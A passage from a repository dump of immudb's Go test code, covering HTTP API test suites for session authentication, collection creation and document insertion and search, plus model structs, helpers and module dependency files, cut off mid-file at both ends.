`json:"indexes"` } type Field struct { Name string `json:"name"` Type string `json:"type"` } type Index struct { Fields []string `json:"fields"` IsUnique bool `json:"isUnique"` } ================================================ FILE: test/document_storage_tests/documents_tests/models/documents.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package models type Employee struct { BirthDate string `json:"birth_date"` FirstName string `json:"first_name"` LastName string `json:"last_name"` Gender string `json:"gender"` HireDate string `json:"hire_date"` } ================================================ FILE: test/document_storage_tests/documents_tests/models/index.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package models type CreateIndex struct { Fields []string `json:"fields"` IsUnique bool `json:"isUnique"` } ================================================ FILE: test/document_storage_tests/documents_tests/models/search.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package models type SearchPayload struct { Query Query `json:"query"` Page int `json:"page"` PageSize int `json:"pageSize"` KeepOpen bool `json:"keepOpen"` } type Query struct { Expressions []Expressions `json:"expressions"` OrderBy []OrderBy `json:"orderBy"` Limit int `json:"limit"` } type Expressions struct { FieldComparisons []FieldComparison `json:"fieldComparisons"` } type OrderBy struct { Field string `json:"field"` Desc bool `json:"desc"` } type FieldComparison struct { Field string `json:"field"` Operator string `json:"operator"` Value interface{} `json:"value"` } ================================================ FILE: test/document_storage_tests/documents_tests/models/user.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package models type User struct { Username string `json:"username"` Password string `json:"password"` Database string `json:"database"` } ================================================ FILE: test/document_storage_tests/documents_tests/session_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "net/http" "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" "github.com/stretchr/testify/suite" ) type SessionTestSuite struct { suite.Suite expect *httpexpect.Expect } func (s *SessionTestSuite) TestOpenSessionWithInvalidUsername() { baseURL := actions.GetBaseUrl() user := models.User{ Username: "jon_snow", Password: "immudb", Database: "defaultdb", } expect := httpexpect.Default(s.T(), baseURL) response := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). Status(http.StatusInternalServerError).JSON().Object() response.Keys().ContainsOnly("code", "details", "error", "message") response.Value("error").IsEqual("invalid user name or password") response.Value("code").IsEqual(2) response.Value("message").IsEqual("invalid user name or password") } func (s *SessionTestSuite) TestOpenSessionWithInvalidPassword() { baseURL := actions.GetBaseUrl() user := models.User{ Username: "immudb", Password: "know_n0thinG", Database: "defaultdb", } expect := httpexpect.Default(s.T(), baseURL) response := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). Status(http.StatusInternalServerError).JSON().Object() response.Keys().ContainsOnly("code", "details", "error", "message") response.Value("error").IsEqual("invalid user name or password") response.Value("code").IsEqual(2) response.Value("message").IsEqual("invalid user name or password") } func (s *SessionTestSuite) TestOpenSessionWithInvalidCredentials() { baseURL := actions.GetBaseUrl() user := models.User{ Username: "jon_snow", Password: "know_n0thinG", Database: "defaultdb", } expect := httpexpect.Default(s.T(), baseURL) response := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). Status(http.StatusInternalServerError).JSON().Object() print(response) response.Keys().ContainsOnly("code", "details", "error", "message") response.Value("error").IsEqual("invalid user name or password") response.Value("code").IsEqual(2) response.Value("message").IsEqual("invalid user name or password") } func (s *SessionTestSuite) TestOpenSessionWithNonExistingDatabase() { baseURL := actions.GetBaseUrl() user := models.User{ Username: "immudb", Password: "immudb", Database: "mydb", } expect := httpexpect.Default(s.T(), baseURL) response := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). Status(http.StatusInternalServerError).JSON().Object() print(response) response.Keys().ContainsOnly("code", "error", "message") response.Value("error").IsEqual("database does not exist") response.Value("code").IsEqual(2) response.Value("message").IsEqual("database does not exist") } func TestSessionTestSuite(t *testing.T) { suite.Run(t, new(SessionTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/auth_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/stretchr/testify/require" ) func TestAuthentication(t *testing.T) { client := getClient() badLogin := "immudbXXX" badPassword := "immudbXXX" badDatabase := "defaultdbXXX" response, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ Username: &badLogin, Password: &badPassword, Database: &badDatabase, }) require.NoError(t, err) require.True(t, *response.JSONDefault.Message == "invalid user name or password") defaultLogin := "immudb" defaultPassword := "immudb" defaultDatabase := "defaultdb" response, err = client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ Username: &defaultLogin, Password: &defaultPassword, Database: &defaultDatabase, }) require.NoError(t, err) require.True(t, response.StatusCode() == 200) require.True(t, len(*response.JSON200.SessionID) > 0) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/collections_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/stretchr/testify/require" ) func TestCreateCollection(t *testing.T) { client := getAuthorizedClient() err := createCollection(getStandarizedRandomString(), client) require.NoError(t, err) } func TestGetCollection(t *testing.T) { client := getAuthorizedClient() collectionName := getStandarizedRandomString() err := createCollection(collectionName, client) require.NoError(t, err) response, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{ Name: &collectionName, }) require.NoError(t, err) require.True(t, response.StatusCode() == 200) require.True(t, *response.JSON200.Collection.Name == collectionName) } func TestListCollections(t *testing.T) { client := getAuthorizedClient() collectionName := getStandarizedRandomString() err := createCollection(collectionName, client) require.NoError(t, err) response, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{}) require.True(t, response.StatusCode() == 200) collectionFound := false for _, collection := range *response.JSON200.Collections { if *collection.Name == collectionName { collectionFound = true break } } require.True(t, collectionFound) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/create_collections_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "encoding/json" "net/http" "testing" "github.com/codenotary/immudb/test/documents_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) type CreateCollectionsTestSuite struct { suite.Suite expect *httpexpect.Expect token string collection_name string } func (s *CreateCollectionsTestSuite) SetupTest() { s.expect, s.token = actions.OpenSession(s.T()) s.collection_name = uuid.New().String() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { collection := actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneIndexKey() { collection := actions.CreateCollectionWithNameAndOneIndexKey(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date") collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleIndexKeys() { collection := actions.CreateCollectionWithNameAndMultipleIndexKeys(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("first_name").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("last_name").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("gender").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("hire_date").Object().Value("type").IsEqual("STRING") } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameAndIndexKeys() { payloadModel := `{}` var payload map[string]interface{} json.Unmarshal([]byte(payloadModel), &payload) s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithIndexKeys() { payloadModel := `{ "indexKeys": { "employees": { "type": "INTEGER" } } }` var payload map[string]interface{} json.Unmarshal([]byte(payloadModel), &payload) payload["indexKeys"] = map[string]interface{}{ "birth_date": map[string]interface{}{ "type": "STRING", }, "first_name": map[string]interface{}{ "type": "STRING", }, "last_name": map[string]interface{}{ "type": "STRING", }, "gender": map[string]interface{}{ "type": "STRING", }, "hire_date": map[string]interface{}{ "type": "STRING", }, } s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { collection := actions.CreateCollectionWithIntegerName(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidIndexKey() { payloadModel := `{ "name": "string", "indexKeys": "string" }` var payload map[string]interface{} json.Unmarshal([]byte(payloadModel), &payload) payload["name"] = uuid.New().String() payload["indexKeys"] = "birth_date" s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() s.expect.GET("/collections/get"). WithHeader("grpc-metadata-sessionid", s.token). WithQuery("name", payload["name"]). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyIndexKey() { payloadModel := `{ "name": "string", "indexKeys": "string" }` var payload map[string]interface{} json.Unmarshal([]byte(payloadModel), &payload) payload["name"] = uuid.New().String() payload["indexKeys"] = "" s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() s.expect.GET("/collections/get"). WithHeader("grpc-metadata-sessionid", s.token). WithQuery("name", payload["name"]). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { payloadModel := `{ "name": "string" }` var payload map[string]interface{} json.Unmarshal([]byte(payloadModel), &payload) payload["name"] = uuid.New().String() s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().NotEmpty() s.expect.PUT("/collections/create"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() payloadModel = `{}` json.Unmarshal([]byte(payloadModel), &payload) collections := s.expect.POST("/collections/list"). WithHeader("grpc-metadata-sessionid", s.token). WithJSON(payload). Expect(). Status(http.StatusOK). JSON().Object() collectionsFound := collections.Value("collections").Array().FindAll(func(index int, value *httpexpect.Value) bool { return value.Object().Value("name").Raw() == payload["name"] }) assert.Equal(s.T(), len(collectionsFound), 1) } func TestSuite(t *testing.T) { suite.Run(t, new(CreateCollectionsTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/documents_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "fmt" "testing" "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/google/uuid" "github.com/stretchr/testify/require" ) func TestCreateDocument(t *testing.T) { client := getAuthorizedClient() uuid := uuid.New() documentToInsert := make(map[string]interface{}) documentToInsert["uuid"] = uuid.String() documentToInsert["name"] = "John" documentToInsert["surname"] = "Doe" documentToInsert["age"] = 30 collectionName := getStandarizedRandomString() err := createCollection(collectionName, client) require.NoError(t, err) req := httpclient.ModelDocumentInsertRequest{ Collection: &collectionName, Document: &documentToInsert, } response, err := client.DocumentInsertWithResponse(context.Background(), req) require.NoError(t, err) require.True(t, response.StatusCode() == 200) documentId := response.JSON200.DocumentId fieldName := "_id" operator := httpclient.EQ query := httpclient.ModelQuery{ Expressions: &[]httpclient.ModelQueryExpression{ { FieldComparisons: &[]httpclient.ModelFieldComparison{ { Field: &fieldName, Operator: &operator, Value: documentId, }, }, }, }, } page := int64(1) perPage := int64(1) searchReq := httpclient.ModelDocumentSearchRequest{ Collection: &collectionName, Query: &query, Page: &page, PerPage: &perPage, } searchResponse, err := client.DocumentSearchWithResponse(context.Background(), searchReq) require.NoError(t, err) fmt.Println(searchResponse.StatusCode()) require.True(t, searchResponse.StatusCode() == 200) revisions := *searchResponse.JSON200.Revisions firstDocument := (*revisions[0].Document) require.Equal(t, *documentId, firstDocument["_id"]) require.Equal(t, float64(30), firstDocument["age"]) require.Equal(t, "John", firstDocument["name"]) require.Equal(t, "Doe", firstDocument["surname"]) } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "net/http" "os" authorizationClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth" documentsClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" "github.com/google/uuid" ) var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8091/api/v2") func GetEnv(key, defaultValue string) string { value := os.Getenv(key) if len(value) == 0 { return defaultValue } return value } func GetStandarizedRandomString() string { return uuid.New().String() } func getAuthorizationClient() *authorizationClient.ClientWithResponses { client, err := authorizationClient.NewClientWithResponses(baseURL) if err != nil { panic(err) } return client } func getDocumentsClient(opts ...documentsClient.ClientOption) *documentsClient.ClientWithResponses { client, err := documentsClient.NewClientWithResponses(baseURL, opts...) if err != nil { panic(err) } return client } func getAuthorizedDocumentsClient() *documentsClient.ClientWithResponses { authClient := getAuthorizationClient() defaultLogin := "immudb" defaultPassword := "immudb" defaultDatabase := "defaultdb" response, err := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ Username: &defaultLogin, Password: &defaultPassword, Database: &defaultDatabase, }) if err != nil { panic(err) } if response.StatusCode() != 200 { panic("Could not login") } client := getDocumentsClient(documentsClient.WithRequestEditorFn( func(ctx context.Context, req *http.Request) error { req.Header.Set("grpc-metadata-sessionid", *response.JSON200.Token) return nil }, )) return client } func CreateAndGetStandardTestCollection(client *documentsClient.ClientWithResponses) string { collectionName := GetStandarizedRandomString() indexKeys := make(map[string]documentsClient.DocumentschemaIndexOption) primaryKeys := make(map[string]documentsClient.DocumentschemaIndexOption) stringType := documentsClient.STRING primaryKeys["_id"] = documentsClient.DocumentschemaIndexOption{ Type: &stringType, } req := documentsClient.DocumentServiceCollectionCreateJSONRequestBody{ Name: &collectionName, IndexKeys: &indexKeys, PrimaryKeys: &primaryKeys, } response, err := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) if err != nil { panic(err) } if response.StatusCode() != 200 { panic("No 200 response") } return collectionName } ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/go.mod ================================================ module github.com/codenotary/immudb/test/documents_storage_tests go 1.24.0 require ( github.com/antihax/optional v1.0.0 github.com/google/uuid v1.3.0 github.com/stretchr/testify v1.8.2 golang.org/x/oauth2 v0.27.0 ) require ( github.com/ajg/form v1.5.1 // indirect github.com/andybalholm/brotli v1.0.4 // indirect github.com/fatih/color v1.13.0 // indirect github.com/fatih/structs v1.1.0 // indirect github.com/gobwas/glob v0.2.3 // indirect github.com/google/go-querystring v1.1.0 // indirect github.com/gorilla/websocket v1.4.2 // indirect github.com/imkira/go-interpol v1.1.0 // indirect github.com/klauspost/compress v1.15.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.17 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect github.com/sanity-io/litter v1.5.5 // indirect github.com/sergi/go-diff v1.0.0 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect github.com/valyala/fasthttp v1.34.0 // indirect github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect github.com/xeipuuv/gojsonschema v1.2.0 // indirect github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect github.com/yudai/gojsondiff v1.0.0 // indirect github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect golang.org/x/sys v0.41.0 // indirect moul.io/http2curl/v2 v2.3.0 // indirect ) require ( github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.12.4 // indirect github.com/gavv/httpexpect/v2 v2.15.0 github.com/golang/protobuf v1.5.2 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect golang.org/x/net v0.50.0 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/protobuf v1.36.6 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: test/document_storage_tests/documents_tests_deprecated/go.sum ================================================ github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= github.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU= github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= github.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY= github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0 h1:xK2lYat7ZLaVVcIuj82J8kIro4V6kDe0AUDFboUCwcg= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/deepmap/oapi-codegen v1.12.4 h1:pPmn6qI9MuOtCz82WY2Xaw46EQjgvxednXXrP7g5Q2s= github.com/deepmap/oapi-codegen v1.12.4/go.mod h1:3lgHGMu6myQ2vqbbTXH2H1o4eXFTGnFiDaOaKKl5yas= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs= github.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc= github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk= github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= github.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U= github.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo= github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod 